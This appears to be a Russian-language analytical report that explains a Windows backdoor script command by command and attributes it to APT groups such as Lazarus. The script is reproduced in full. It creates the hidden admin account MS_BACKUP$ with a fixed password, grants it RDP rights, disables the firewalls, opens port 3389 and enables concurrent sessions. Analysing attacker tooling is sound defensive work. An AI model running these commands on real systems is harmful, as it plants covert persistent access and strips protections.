LIFE

Надеемся, что это самый нормальный отчёт, за который не стыдно)

……...

Пункт 1.

1)net user MS_BACKUP$ abcd1234!@#$ /add // ***создается пользователь*** *MS_BACKUP$ с паролем abcd1234!@#$. -* ***Создает учетную запись пользователя с именем MS_BACKUP$ и паролем abcd1234!@#$.***

2) net localgroup Administrators /add MS_BACKUP$ // ***- Добавляет пользователя MS_BACKUP$ в группу Администраторов***

3) net localgroup Администраторы /add MS_BACKUP$ - ***Добавляет пользователя MS_BACKUP$ в группу Администраторов***

*4) net localgroup "Remote Desktop Users" /add MS_BACKUP$ - Добавляет пользователя MS_BACKUP$ в группу "Remote Desktop Users****"(представляет собой группу пользователей, которым разрешено подключаться к удаленному рабочему столу компьютера)***

5) net localgroup "Пользователи удаленного рабочего стола" /add MS_BACKUP$ - ***Добавляет пользователя MS_BACKUP$ в группу "Пользователи удаленного рабочего стола".***

6) net user MS_BACKUP$ /expires:never ***- Устанавливает срок действия учетной записи "MS_BACKUP$" на "никогда". Это означает, что учетная запись не будет блокироваться или требовать смены пароля через определенный период времени. Значит после определённого времени атакующий так же сможет выполнить атаку***

7) reg add "HKLM\SOFTWARE\Microsoft\Windows

NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v MS_BACKUP$ /t REG_DWORD /d 0 /f - reg add: ***Эта часть команды указывает на то, что мы хотим добавить запись в реестр.***

"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList": ***Это путь в реестре, куда будет добавлена запись. В данном случае, это специальный раздел реестра, связанный с учетными записями пользователей.***

/v ***Этот флаг указывает на имя значения, которое мы хотим добавить. В данном случае, это "MS_BACKUP$".***

/t REG_DWORD: ***Этот флаг указывает на тип значения, которое мы добавляем. В данном случае, это 32-битное целое число (DWORD).***

/d 0: ***Этот флаг указывает на данные, которые мы хотим добавить. В данном случае, это число 0.***

/f: ***Этот флаг указывает на то, что команда должна быть выполнена без подтверждения***

значение 0 для DWORD в этом контексте скрывает учетную запись пользователя от экрана приветствия.

……...

8) reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system /v dontdisplaylastusername /t REG_DWORD /d 1 /f //// ***добавляется новая запись (dontdisplaylastusername) в регистры, она равна 1. Эта запись приводит к тому, что имя пользователя (а конкретно MS_BACKUP$), последнего вошедшего в систему, не показывается. Так злоумышленник скрывает свои следы***

9) reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system /v

LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f //// ***добавляется новая запись (LocalAccountTokenFilterPolicy) в регистры, она равна 1. Данная запись позволяет удаленно повышать права локальных учетных записей. Таким образом, удаленно можно повысить привилегии созданного пользователя MS_BACKUP$.***

10) netsh firewall set opmode disable //// ***данная команда используется для отключения Windows Firewall. Его отключение может привести к тому, что злоумышленник отправит опасные пакеты (как пример, пакеты с скриптом на повышение привилегий) на этот компьютер, а компьютер без файрвола их обработает.***

11) netsh advfirewall set allprofiles state off //// ***данная команда используется для отключения всех файрволов на***

компьютере с виндовс. вероятно, данная команда использовалась для гарантированного отключения всех файрволов системы, помимо Windows Firewall

12) reg add

"HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List" /v 3389:TCP /t REG_SZ /d "3389:TCP::Enabled:Remote Desktop" /f //// по адресу HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List"/// **добавляется новый регистр 3389:TCP. Значение этого регистра устанавливается в** 3389:TCP:*:Enabled:Remote Desktop. **это позволяет удаленно подключаться через порт 3389:TCP (порт RDP), что в свою очередь дает доступ злоумышленнику к машине. путь standardprofile обеспечивает открытость порта для локальных машин***

13) reg add "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfil

e\GloballyOpenPorts\List" /v 3389:TCP /t REG_SZ /d "3389:TCP::Enabled:Remote Desktop" /f //// по адресу HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfil*

*e\GloballyOpenPorts\List"/// **добавляется новый регистр 3389:TCP. строка практически синонимична предыдущей, за исключением DomainProfile. изменение регистра об открытости порта по этому пути обеспечивает открытость порта для машин, подключенных к системе доменов Windows Active Directory***

14) reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t

*REG_DWORD /d 0 /f //// **по адресу** "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server"* ***добавляется значение регистра fDenyTSConnections. Это обеспечивает удаленный доступ к машине***

……

Описание идентичных команд:

- reg add - ***добавить запись в реестр***
- /f - ***выполняет добавление значения без запроса подтверждения***
- /v fSingleSessionPerUser - ***имя значения, которое нужно добавить (fSingleSessionPerUser)***

15)
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t

REG_DWORD /d 0 /f

Описание:

- **Данная команда скрипта настраивает Terminal Server для возможности множественных подключений к одной учетной записи. Это часто используется в скриптах для настройки удаленного доступа.**
- **"HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" -** ***путь к ключу реестра для настроек Terminal Server***
- **/v fSingleSessionPerUser -** ***это флаг, который контролирует, может ли пользователь иметь несколько одновременных сессий удаленного рабочего стола (RDP).***

- **/t REG_DWORD - указывает тип значения реестра, которое будет добавлено**
    - **REG_DWORD означает "DWORD Value" - 32-битное целое число без знака. Это один из стандартных типов значений в реестре Windows.**
- **/d 0 -** ***устанавливает значение равным 0. Значение 0 разрешает несколько сессий для одного пользователя.***

16)

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Licensing Core" /v

EnableConcurrentSessions /t REG_DWORD /d 1 /f

Описание:

- ***"HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Licensing Core" - указывается путь к ключу реестра, который будет изменен. В частности, Licensing Core - это название подраздела в реестре, который содержит настройки лицензирования для службы Terminal Server (удаленного рабочего стола RDP).***
- **/v EnableConcurrentSessions -** ***имя добавляемого значения, означает "Разрешить одновременные сессии"***
- **/d 1 -** ***Установка EnableConcurrentSessions в 1 снимает ограничение. Это часто используется в скриптах для настройки удаленного доступа, чтобы разрешить множество соединений к одной учётной записи.***

17)

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v EnableConcurrentSessions /t REG_DWORD /d 1 /f

Описание:

- ***Эта команда добавляет значение EnableConcurrentSessions со значением 1 в раздел реестра Winlogon. Этот параметр разрешает пользователю иметь несколько активных сессий на одной машине. По умолчанию Winlogon ограничивает одновременные сессии. Установка значения в 1 снимает это ограничение.***

18)
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v

AllowMultipleTSSessions /t REG_DWORD /d 1 /f

Описание:

- ***Эта команда добавляет или изменяет параметр в разделе реестра Winlogon, который называется AllowMultipleTSSessions, и устанавливает его значение в 1. Этот параметр используется для разрешения одновременных сеансов службы Terminal Services (Remote Desktop) на компьютере. Установка значения 1 обычно разрешает несколько сеансов для одного пользователя.***

19) reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v

MaxInstanceCount /t REG_DWORD /d 100 /f

20) sc config termservice start= auto

Эта строка команды устанавливает службу Terminal Services для автоматического запуска при загрузке операционной системы.

Конфигурация RDP

21) net start termservice

Запуск RDP

пункт 2.

В отчете был проведен анализ списка apt группировок positive technologies, с целью выявления тех, кто использует RDP. В результате было обнаружено несколько предполагаемых группировок, включая Lazarus. В одной из атак, связанных с Lazarus, было обнаружено, что они контролировали сеансы RDP на уязвимой машине, и предположительно использовали скрипт, который вы упомянули. Также было обнаружено, что они использовали один и тот же пароль (abcd1234!@#$).

Следует отметить, что все предположения и выводы, сделанные в отчете, основаны на предоставленных данных и анализе, и требуют дополнительной проверки и подтверждения.